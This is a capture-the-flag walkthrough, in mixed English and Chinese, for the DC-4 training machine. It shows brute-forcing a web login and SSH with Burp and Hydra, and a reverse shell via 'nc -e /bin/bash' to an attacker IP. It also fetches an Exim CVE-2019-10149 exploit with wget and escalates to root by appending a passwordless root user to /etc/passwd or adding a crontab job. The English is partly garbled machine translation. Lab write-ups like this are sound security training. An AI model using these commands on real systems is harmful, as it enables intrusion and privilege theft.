DC-4
-
The Main Point 0X01
1. Burpsuite blasting module simple blasting
2. Hydra blasting for SSH connection
3.CVE-2019-10149- Exim vulnerability local privilege escalation
4. teehee privilege escalation -
0X02 pre-sniffing and port detection
arp-scan -l 得到靶机IP地址
namp -sV -A -p- 172.20.10.4 探测靶机开放端口
Target only open 80、22
two ports, look at the page:
In the run dirb、dirsearch、御剑
after Saowan directory really no other directories can take advantage of, and there can only be considered to start from the sign-in box, we default username is ADMIN , import intruder blasting (to select a suitable passwd dictionary):
found a lot of passwords can log in, log in directly after the discovery:
run the command, Ethereal get:
find instructions can be executed construction, direct a rebound shell, kali monitor to connect to:
python -c 'import pty;pty.spawn("/bin/bash")' 得到交互式Bash
/home
Under found to have three users, jim user can see the backups folder, get jim user enters the password history:
After saving direct hydra blasting get jim password:
hydra -L jim -P '/root/jimpass' ssh://172.20.10.4 -t 10
Unexpected mention the right idea
su
切换到Jim用户后,ls -la
打开mbox查看后发现是邮件,重点是exim–邮件传输代理服务器软件:
这个版本对应有CVE-2019-10149, searchsploit exim
直接将这个脚本放到kali机/var/www/html/getshell.sh
下,service apache2 start
开启服务器后,靶机切到/tmp
路径下,wget http://172.20.10.8/getshell.sh
下载这个脚本:
chmod 777 getshell.sh 赋予可执行权限
busybox dos2unix getshell.sh 转化文件格式
这里如何使用getshell.sh可以先查看对应的CVE,这里我们直接使用:
得到root后:
nc -e /bin/bash 172.20.10.8 2333 #172.20.10.8是kali的IP,直接提权后得到flag
常规提权思路
su
切换到Jim用户后,ls -la
打开mbox查看后发现是邮件,那么mail
后发现有一封邮件:
得到charles用户的密码,切换到charles用户:
find / -perm -u=s -type f 2>/dev/null 查看SUID文件
发现我们之前利用了的exim4
,这里就是非预期提权方法了,这里假装没看到,其他的SUID程序都是很常规的,这里得不到信息。
sudo -l 查看可以以root权限执行的命令
/usr/bin/teehee
是啥呢?
-a 命令可以附加到指定的文件上而不是覆盖,这里思路就很明确了,我们直接附加一个用户到/etc/passwd
上,这个用户拥有root权限,然后在切换到这个用户即可。
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
| 在Linux中是管道,上一条命令的输出,作为下一条命令参数,这样成功在/etc/passwd
上附加了admin用户(空密码)
看到其他师傅的walkthrough上还有一种姿势:
通过定时任务执行脚本提权:
向/etc/crontab文件中写入新的定时任务,把时间全设置为*,这样就是每分钟执行一次,再将/bin/sh的权限设置为4777。
echo '***** chmod 4777 /bin/sh | sudo teehee -a /etc/crontab' 写入定时任务
同样可以得到root权限。
以上就是本人所有的提权思路